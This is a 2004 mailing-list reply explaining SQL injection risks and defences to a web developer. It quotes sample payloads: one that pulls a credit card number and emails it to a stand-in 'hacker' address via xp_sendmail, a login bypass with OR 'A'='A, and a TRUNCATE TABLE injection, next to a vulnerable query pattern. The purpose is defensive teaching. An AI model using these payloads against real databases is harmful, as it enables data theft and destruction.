[thelist] SQL Update CORRECTION

Paul Cowan evolt at funkwit.com
Tue Jul 13 18:14:54 CDT 2004


On 13/07/2004 12:07 PM -0300 Sarah Sweeney wrote:
> Although I wonder - shouldn't the user
> account which the web site uses to access the database not have
> permissions to execute a trucate query?

Well, you've still done damage, because all of a sudden ALL of the invoices 
are set to a total of 1, which might be enough to make major headaches (at 
best) for the company. Obviously there are other ways to damage data than 
truncate - UPDATE, DELETE, INSERT -- but that's not the point. Also, never 
forget there's a lot of damage that can be done without actually updating 
ANYTHING; for some businesses, SELECT is all you need.

What if the string the user put in was
	"1'; DECLARE @CCNumber VARCHAR (20); SELECT @CCNumber =
	 CreditCardNumber FROM UserAccount WHERE Email =
	'billg at microsoft.com'; EXEC xp_sendmail 'hacker at hacker.com',
	@CCNumber; --"
? Might not work on a particular server, but be creative... there’s a lot 
you can do.

What if your query was
	SELECT * FROM UserAccounts WHERE Username = '" & request("user")
	* "' AND Password = '" & request("pass") & "'"
which I've seen before?

Well, if the user puts in user name of 'georgewbush' and password of
	mypass' OR 'A' = 'A
? Then what happens is an exercise for the reader...

> My question is, what is/are the best method(s) you and others would
> recommend for preventing these attacks? Do you have any recommendations
> for applications that do not use stored procedures?

Simple: never ever trust what is sent by an untrusted client. Even if your 
HTML has <input maxlength="20">, there's nothing to stop a hacker sending a 
500-character string to see what breaks; if you need an integer to select 
something out of a database, don't assume that because you have 
<select><option value=1><option value=2>...<option value=9></select>, that 
the browser will send a number from 1 to 9. It might send 0, or 10, or “9’; 
TRUNCATE TABLE Orders”.

If you must just build a string from what the client sends, AT THE VERY 
LEAST make sure you (in the case of SQL Server; other DBMSs might have 
different requirements) replace all apostrophes with double apostrophes 
when you’re treating the user’s input as a string; when you’re treating it 
as numeric, make sure it really is.

Fundamentally though, the first rule of application security is trust 
nothing that you do not KNOW is trustable.

Paul



More information about the thelist mailing list